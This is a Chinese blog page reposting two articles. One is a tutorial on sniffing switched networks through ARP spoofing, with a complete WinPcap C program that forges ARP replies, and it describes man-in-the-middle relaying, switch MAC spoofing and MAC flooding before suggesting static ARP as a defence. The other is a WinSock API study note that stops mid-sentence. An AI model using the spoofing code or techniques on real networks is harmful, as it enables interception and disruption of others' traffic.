個人檔案飘零风雨亭部落格清單 工具 說明

部落格


1月10日

交换网络中的嗅探和ARP欺骗(转载)


交换网络中的嗅探和ARP欺骗(转载)

Monday, 20. March 2006, 03:19:46
嗅探, Sniff, ARP, Mac
以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现
网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。

ARP缓存表
假设这样一个网络:
——————————
| HUB |
——————————
| | |
| | |
| | |
HostA HostB HostC
其中
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。

集线器网络(Hub-Based)
很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
这就是上面举例中的一种网络结构。
现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。
正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。
因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。

交换网络(Switched Lan)
交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。

ARP欺骗( ARP spoofing)
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。
现在A机器的ARP缓存更新了:
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
Internet Address Physical Address Type
192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!
这就是一个简单的ARP欺骗。
我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。
///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
// Creator: Refdom
// Email: refdom@263.net
// Home Page: www.opengram.com
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h" //GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include <stdio.h>
#include <Packet32.h>
#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */
#define Max_Num_Adapter 10
#pragma pack(push, 1)
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */
unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;
typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];
LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;
ULONG AdapterLength = 1024;
int AdapterNum = 0;
int nRetCode, i;
//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}
temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList,temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}
temp++;
}
AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList);
printf("\n");
//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一个网卡(假设啦)
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}
lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}
ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址
memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);
if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!\n");
}
if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}
printf ("Send ok!\n");
// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}
于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……

以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能
够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中
进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础
中我们就能够做到。

对目标进行ARP欺骗
就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么,嗅探成功。
A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送
给C的数据包可没有转交给C。
做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由
器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。
直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为
是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。

对Switch的MAC欺骗
Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学
习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧
的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1
口输出,而不会从其它的口输出。
跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的
MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对
应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。
但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。

对Switch进行Flood
就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基
本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。
存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。

对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换
机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。
至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。
11月25日

WinSock学习笔记(转载)

网上看到这篇文章觉得总结得不错,故转载
来源:
http://www.azure.com.cn/article.asp?id=78

具体内容也可参见本回复


flipcode 2005-8-21 22:36:45
 
 注册: 2004-5    状态: online 1   
 
flipcode

爱心战士
  发表于: 2005-8-21 22:37:00                          
 

--------------------------------------------------------------------------------
Re: WinSock学习笔记(转载)


WinSock学习笔记
[ 2005-06-30 20:36:43 | 作者: Admin ]
字体大小: 大 | 中 | 小
作者:肖进

Socket(套接字)

◆先看定义:
typedef unsigned int u_int;
typedef u_int SOCKET;
◆Socket相当于进行网络通信两端的插座,只要对方的Socket和自己的Socket有通信联接,双方就可以发送和接收数据了。其定义类似于文件句柄的定义。

◆Socket有五种不同的类型:

1、流式套接字(stream socket)
定义:
#define SOCK_STREAM 1
流式套接字提供了双向、有序的、无重复的以及无记录边界的数据流服务,适合处理大量数据。它是面向联结的,必须建立数据传输链路,同时还必须对传输的数据进行验证,确保数据的准确性。因此,系统开销较大。

2、 数据报套接字(datagram socket)

定义:
#define SOCK_DGRAM 2
数据报套接字也支持双向的数据流,但不保证传输数据的准确性,但保留了记录边界。由于数据报套接字是无联接的,例如广播时的联接,所以并不保证接收端是否正在侦听。数据报套接字传输效率比较高。

3、原始套接字(raw-protocol interface)

定义:
#define SOCK_RAW 3
原始套接字保存了数据包中的完整IP头,前面两种套接字只能收到用户数据。因此可以通过原始套接字对数据进行分析。
其它两种套接字不常用,这里就不介绍了。

◆Socket开发所必须需要的文件(以WinSock V2.0为例):

头文件:Winsock2.h

库文件:WS2_32.LIB

动态库:W32_32.DLL

一些重要的定义

1、数据类型的基本定义:这个大家一看就懂。
typedef unsigned char u_char;
typedef unsigned short u_short;
typedef unsigned int u_int;
typedef unsigned long u_long;
2、 网络地址的数据结构,有一个老的和一个新的的,请大家留意,如果想知道为什么,
请发邮件给Bill Gate。其实就是计算机的IP地址,不过一般不用用点分开的IP地
址,当然也提供一些转换函数。

◆ 旧的网络地址结构的定义,为一个4字节的联合:
struct in_addr
 {
 union
 {
 struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
 struct { u_short s_w1,s_w2; } S_un_w;
 u_long S_addr;
 } S_un;
 #define s_addr S_un.S_addr /* can be used for most tcp & ip code */
 //下面几行省略,反正没什么用处。
 };
其实完全不用这么麻烦,请看下面:

◆ 新的网络地址结构的定义:
非常简单,就是一个无符号长整数 unsigned long。举个例子:IP地址为127.0.0.1的网络地址是什么呢?请看定义:
#define INADDR_LOOPBACK 0x7f000001

3、 套接字地址结构

(1)、sockaddr结构:
struct sockaddr {
 u_short sa_family; /* address family */
 char sa_data[14]; /* up to 14 bytes of direct address */
 };
sa_family为网络地址类型,一般为AF_INET,表示该socket在Internet域中进行通信,该地址结构随选择的协议的不同而变化,因此一般情况下另一个与该地址结构大小相同的sockaddr_in结构更为常用,sockaddr_in结构用来标识TCP/IP协议下的地址。换句话说,这个结构是通用socket地址结构,而下面的sockaddr_in是专门针对Internet域的socket地址结构。

(2)、sockaddr_in结构
struct sockaddr_in {
 short sin_family;
 u_short sin_port;
 struct in_addr sin_addr;
 char sin_zero[8];
};
sin _family为网络地址类型,必须设定为AF_INET。sin_port为服务端口,注意不要使用已固定的服务端口,如HTTP的端口80等。如果端口设置为0,则系统会自动分配一个唯一端口。sin_addr为一个unsigned long的IP地址。sin_zero为填充字段,纯粹用来保证结构的大小。

◆ 将常用的用点分开的IP地址转换为unsigned long类型的IP地址的函数:
unsigned long inet_addr(const char FAR * cp )
用法:
unsigned long addr=inet_addr("192.1.8.84")

◆ 如果将sin_addr设置为INADDR_ANY,则表示所有的IP地址,也即所有的计算机。
#define INADDR_ANY (u_long)0x00000000

4、 主机地址:

先看定义:
struct hostent {
 char FAR * h_name; /* official name of host */
 char FAR * FAR * h_aliases; /* alias list */
 short h_addrtype; /* host address type */
 short h_length; /* length of address */
 char FAR * FAR * h_addr_list; /* list of addresses */
 #define h_addr h_addr_list[0] /* address, for backward compat */
 };
h_name为主机名字。
h_aliases为主机别名列表。
h_addrtype为地址类型。
h_length为地址类型。
h_addr_list为IP地址,如果该主机有多个网卡,就包括地址的列表。
另外还有几个类似的结构,这里就不一一介绍了。

5、 常见TCP/IP协议的定义:
#define IPPROTO_IP 0
#define IPPROTO_ICMP 1
#define IPPROTO_IGMP 2
#define IPPROTO_TCP 6
#define IPPROTO_UDP 17
#define IPPROTO_RAW 255
具体是什么协议,大家一看就知道了。

套接字的属性

为了灵活使用套接字,我们可以对它的属性进行设定。

1、 属性内容:
//允许调试输出
#define SO_DEBUG 0x0001 /* turn on debugging info recording */
//是否监听模式
#define SO_ACCEPTCONN 0x0002 /* socket has had listen() */
//套接字与其他套接字的地址绑定
#define SO_REUSEADDR 0x0004 /* allow local address reuse */
//保持连接
#define SO_KEEPALIVE 0x0008 /* keep connections alive */
//不要路由出去
#define SO_DONTROUTE 0x0010 /* just use interface addresses */
//设置为广播
#define SO_BROADCAST 0x0020 /* permit sending of broadcast msgs */
//使用环回不通过硬件
#define SO_USELOOPBACK 0x0040 /* bypass hardware when possible */
//当前拖延值
#define SO_LINGER 0x0080 /* linger on close if data present */
//是否加入带外数据
#define SO_OOBINLINE 0x0100 /* leave received OOB data in line */
//禁用LINGER选项
#define SO_DONTLINGER (int)(~SO_LINGER)
//发送缓冲区长度
#define SO_SNDBUF 0x1001 /* send buffer size */
//接收缓冲区长度
#define SO_RCVBUF 0x1002 /* receive buffer size */
//发送超时时间
#define SO_SNDTIMEO 0x1005 /* send timeout */
//接收超时时间
#define SO_RCVTIMEO 0x1006 /* receive timeout */
//错误状态
#define SO_ERROR 0x1007 /* get error status and clear */
//套接字类型
#define SO_TYPE 0x1008 /* get socket type */

2、 读取socket属性:
int getsockopt(SOCKET s, int level, int optname, char FAR * optval, int FAR * optlen)
s为欲读取属性的套接字。level为套接字选项的级别,大多数是特定协议和套接字专有的。如IP协议应为 IPPROTO_IP。

optname为读取选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度
用法:
int ttl=0; //读取TTL值
int rc = getsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));
//来自MS platform SDK 2003

3、 设置socket属性:
int setsockopt(SOCKET s,int level, int optname,const char FAR * optval, int optlen)
s为欲设置属性的套接字。
level为套接字选项的级别,用法同上。
optname为设置选项的名称
optval为存放选项值的缓冲区指针。
optlen为缓冲区的长度

用法:
int ttl=32; //设置TTL值
int rc = setsockopt( s, IPPROTO_IP, IP_TTL, (char *)&ttl, sizeof(ttl));

套接字的使用步骤

1、启动Winsock:对Winsock DLL进行初始化,协商Winsock的版本支持并分配必要的
资源。(服务器端和客户端)
int WSAStartup( WORD wVersionRequested, LPWSADATA lpWSAData )
wVersionRequested为打算加载Winsock的版本,一般如下设置:
wVersionRequested=MAKEWORD(2,0)
或者直接赋值:wVersionRequested=2

LPWSADATA为初始化Socket后加载的版本的信息,定义如下:
typedef struct WSAData {
 WORD wVersion;
 WORD wHighVersion;
 char szDescription[WSADESCRIPTION_LEN+1];
 char szSystemStatus[WSASYS_STATUS_LEN+1];
 unsigned short iMaxSockets;
 unsigned short iMaxUdpDg;
 char FAR * lpVendorInfo;
 } WSADATA, FAR * LPWSADATA;
如果加载成功后数据为:

wVersion=2 表示加载版本为2.0。
wHighVersion=514 表示当前系统支持socket最高版本为2.2。
szDescription="WinSock 2.0"
szSystemStatus="Running" 表示正在运行。
iMaxSockets=0 表示同时打开的socket最大数,为0表示没有限制。
iMaxUdpDg=0 表示同时打开的数据报最大数,为0表示没有限制。
lpVendorInfo 没有使用,为厂商指定信息预留。

该函数使用方法:
WORD wVersion=MAKEWORD(2,0);
WSADATA wsData;
int nResult= WSAStartup(wVersion,&wsData);
if(nResult !=0)
{
//错误处理
}

2、创建套接字:(服务器端和客户端)
SOCKET socket( int af, int type, int protocol );
af为网络地址类型,一般为AF_INET,表示在Internet域中使用。
type为套接字类型,前面已经介绍了。
protocol为指定网络协议,一般为IPPROTO_IP。
用法:
SOCKET sock=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if(sock==INVALID_SOCKET)
{
//错误处理
}

3、套接字的绑定:将本地地址绑定到所创建的套接字上。(服务器端和客户端)
int bind( SOCKET s, const struct sockaddr FAR * name, int namelen )
s为已经创建的套接字。
name为socket地址结构,为sockaddr结构,如前面讨论的,我们一般使用sockaddr_in
结构,在使用再强制转换为sockaddr结构。
namelen为地址结构的长度。

用法:
sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port= htons(0); //保证字节顺序
addr. sin_addr.s_addr= inet_addr("192.1.8.84")
int nResult=bind(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

4、 套接字的监听:(服务器端)
int listen(SOCKET s, int backlog )
s为一个已绑定但未联接的套接字。
backlog为指定正在等待联接的最大队列长度,这个参数非常重要,因为服务器一般可
以提供多个连接。
用法:
int nResult=listen(s,5) //最多5个连接
if(nResult==SOCKET_ERROR)
{
//错误处理
}

5、套接字等待连接::(服务器端)
SOCKET accept( SOCKET s, struct sockaddr FAR * addr, int FAR * addrlen )
s为处于监听模式的套接字。
sockaddr为接收成功后返回客户端的网络地址。
addrlen为网络地址的长度。

用法:
sockaddr_in addr;
SOCKET s_d=accept(s,(sockaddr*)&addr,sizeof(sockaddr));
if(s==INVALID_SOCKET)
{
//错误处理
}

6、套接字的连结:将两个套接字连结起来准备通信。(客户端)
int connect(SOCKET s, const struct sockaddr FAR * name, int namelen )
s为欲连结的已创建的套接字。
name为欲连结的socket地址。
namelen为socket地址的结构的长度。

用法:
sockaddr_in addr;
addr. sin_family=AF_INET;
addr. sin_port=htons(0); //保证字节顺序
addr. sin_addr.s_addr= htonl(INADDR_ANY) //保证字节顺序
int nResult=connect(s,(sockaddr*)&addr,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

7、套接字发送数据:(服务器端和客户端)
int send(SOCKET s, const char FAR * buf, int len, int flags )
s为服务器端监听的套接字。
buf为欲发送数据缓冲区的指针。
len为发送数据缓冲区的长度。
flags为数据发送标记。
返回值为发送数据的字符数。

◆这里讲一下这个发送标记,下面8中讨论的接收标记也一样:

flag取值必须为0或者如下定义的组合:0表示没有特殊行为。
#define MSG_OOB 0x1 /* process out-of-band data */
#define MSG_PEEK 0x2 /* peek at incoming message */
#define MSG_DONTROUTE 0x4 /* send without using routing tables */
MSG_OOB表示数据应该带外发送,所谓带外数据就是TCP紧急数据。
MSG_PEEK表示使有用的数据复制到缓冲区内,但并不从系统缓冲区内删除。
MSG_DONTROUTE表示不要将包路由出去。

用法:
char buf[]="xiaojin";
int nResult=send(s,buf,strlen(buf));
if(nResult==SOCKET_ERROR)
{
//错误处理
}

8、 套接字的数据接收:(客户端)
int recv( SOCKET s, char FAR * buf, int len, int flags )
s为准备接收数据的套接字。
buf为准备接收数据的缓冲区。
len为准备接收数据缓冲区的大小。
flags为数据接收标记。
返回值为接收的数据的字符数。

用法:
char mess[1000];
int nResult =recv(s,mess,1000,0);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

9、中断套接字连接:通知服务器端或客户端停止接收和发送数据。(服务器端和客户端)
int shutdown(SOCKET s, int how)
s为欲中断连接的套接字。
How为描述禁止哪些操作,取值为:SD_RECEIVE、SD_SEND、SD_BOTH。
#define SD_RECEIVE 0x00
#define SD_SEND 0x01
#define SD_BOTH 0x02
用法:
int nResult= shutdown(s,SD_BOTH);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

10、 关闭套接字:释放所占有的资源。(服务器端和客户端)
int closesocket( SOCKET s )
s为欲关闭的套接字。

用法:
int nResult=closesocket(s);
if(nResult==SOCKET_ERROR)
{
//错误处理
}

与socket有关的一些函数介绍

1、读取当前错误值:每次发生错误时,如果要对具体问题进行处理,那么就应该调用这个函数取得错误代码。
 int WSAGetLastError(void );
 #define h_errno WSAGetLastError()
错误值请自己阅读Winsock2.h。

2、将主机的unsigned long值转换为网络字节顺序(32位):为什么要这样做呢?因为不同的计算机使用不同的字节顺序存储数据。因此任何从Winsock函数对IP地址和端口号的引用和传给Winsock函数的IP地址和端口号均时按照网络顺序组织的。
 
 u_long htonl(u_long hostlong);
 举例:htonl(0)=0
 htonl(80)= 1342177280

3、将unsigned long数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。
 
 u_long ntohl(u_long netlong);
 举例:ntohl(0)=0
 ntohl(1342177280)= 80

4、将主机的unsigned short值转换为网络字节顺序(16位):原因同2:
 
 u_short htons(u_short hostshort);
 举例:htonl(0)=0
 htonl(80)= 20480

5、将unsigned short数从网络字节顺序转换位主机字节顺序,是上面函数的逆函数。
 u_short ntohs(u_short netshort);
 举例:ntohs(0)=0
 ntohsl(20480)= 80

6、将用点分割的IP地址转换位一个in_addr结构的地址,这个结构的定义见笔记(一),实际上就是一个unsigned long值。计算机内部处理IP地址可是不认识如192.1.8.84之类的数据。
 unsigned long inet_addr( const char FAR * cp );
 举例:inet_addr("192.1.8.84")=1409810880
 inet_addr("127.0.0.1")= 16777343
如果发生错误,函数返回INADDR_NONE值。

7、将网络地址转换位用点分割的IP地址,是上面函数的逆函数。
 char FAR * inet_ntoa( struct in_addr in );
 举例:char * ipaddr=NULL;
 char addr[20];
 in_addr inaddr;
 inaddr. s_addr=16777343;
 ipaddr= inet_ntoa(inaddr);
 strcpy(addr,ipaddr);
这样addr的值就变为127.0.0.1。
注意意不要修改返回值或者进行释放动作。如果函数失败就会返回NULL值。

8、获取套接字的本地地址结构:
 
 int getsockname(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的地址值
namelen为缓冲区的大小。

9、获取与套接字相连的端地址结构:
 int getpeername(SOCKET s, struct sockaddr FAR * name, int FAR * namelen );
s为套接字
name为函数调用后获得的端地址值
namelen为缓冲区的大小。

10、获取计算机名:
 int gethostname( char FAR * name, int namelen );
name是存放计算机名的缓冲区
namelen是缓冲区的大小
用法:
 char szName[255];
 memset(szName,0,255);
 if(gethostname(szName,255)==SOCKET_ERROR)
 {
     //错误处理
 }
返回值为:szNmae="xiaojin"

11、根据计算机名获取主机地址:
 struct hostent FAR * gethostbyname( const char FAR * name );
name为计算机名。
用法:
 hostent * host;
 char* ip;
 host= gethostbyname("xiaojin");
 if(host->h_addr_list[0])
 {
   struct in_addr addr;
    memmove(&addr, host->h_addr_list[0],4);
   //获得标准IP地址
   ip=inet_ ntoa (addr);
 }

返回值为:hostent->h_name="xiaojin"
hostent->h_addrtype=2 //AF_INET
hostent->length=4
ip="127.0.0.1"

Winsock 的I/O操作:

1、 两种I/O模式
阻塞模式:执行I/O操作完成前会一直进行等待,不会将控制权交给程序。套接字 默认为阻塞模式。可以通过多线程技术进行处理。
非阻塞模式:执行I/O操作时,Winsock函数会返回并交出控制权。这种模式使用 起来比较复杂,因为函数在没有运行完成就进行返回,会不断地返回 WSAEWOULDBLOCK错误。但功能强大。
为了解决这个问题,提出了进行I/O操作的一些I/O模型,下面介绍最常见的三种:

2、select模型:

  通过调用select函数可以确定一个或多个套接字的状态,判断套接字上是否有数据,或
者能否向一个套接字写入数据。
int select( int nfds, fd_set FAR * readfds, fd_set FAR * writefds,
 fd_set FAR *exceptfds, const struct timeval FAR * timeout );

◆先来看看涉及到的结构的定义:
a、 d_set结构:
#define FD_SETSIZE 64?
typedef struct fd_set {
 u_int fd_count; /* how many are SET? */
 SOCKET fd_array[FD_SETSIZE]; /* an array of SOCKETs */
 } fd_set;

fd_count为已设定socket的数量
fd_array为socket列表,FD_SETSIZE为最大socket数量,建议不小于64。这是微软建
议的。

B、timeval结构:
struct timeval {
 long tv_sec; /* seconds */
 long tv_usec; /* and microseconds */
 };
tv_sec为时间的秒值。
tv_usec为时间的毫秒值。
这个结构主要是设置select()函数的等待值,如果将该结构设置为(0,0),则select()函数
会立即返回。

◆再来看看select函数各参数的作用:
nfds:没有任何用处,主要用来进行系统兼容用,一般设置为0。

readfds:等待可读性检查的套接字组。

writefds;等待可写性检查的套接字组。

exceptfds:等待错误检查的套接字组。

timeout:超时时间。

函数失败的返回值:
调用失败返回SOCKET_ERROR,超时返回0。
readfds、writefds、exceptfds三个变量至少有一个不为空,同时这个不为空的套接字组
种至少有一个socket,道理很简单,否则要select干什么呢。

举例:测试一个套接字是否可读:
fd_set fdread;
//FD_ZERO定义
// #define FD_ZERO(set) (((fd_set FAR *)(set))->fd_count=0)
FD_ZERO(&fdread);
FD_SET(s,&fdread); //加入套接字,详细定义请看winsock2.h
if(select(0,%fdread,NULL,NULL,NULL)>0
{
  //成功
  if(FD_ISSET(s,&fread) //是否存在fread中,详细定义请看winsock2.h
  {
    //是可读的
  }
}

◆I/O操作函数:主要用于获取与套接字相关的操作参数。
 int ioctlsocket(SOCKET s, long cmd, u_long FAR * argp );
s为I/O操作的套接字。
cmd为对套接字的操作命令。
argp为命令所带参数的指针。

常见的命令: //确定套接字自动读入的数据量
#define FIONREAD _IOR(''''f'''', 127, u_long) /* get # bytes to read */
//允许或禁止套接字的非阻塞模式,允许为非0,禁止为0
#define FIONBIO _IOW(''''f'''', 126, u_long) /* set/clear non-blocking i/o */
//确定是否所有带外数据都已被读入
#define SIOCATMARK _IOR(''''s'''', 7, u_long) /* at oob mark? */

3、WSAAsynSelect模型:
WSAAsynSelect模型也是一个常用的异步I/O模型。应用程序可以在一个套接字上接收以
WINDOWS消息为基础的网络事件通知。该模型的实现方法是通过调用WSAAsynSelect函
数 自动将套接字设置为非阻塞模式,并向WINDOWS注册一个或多个网络时间,并提供一
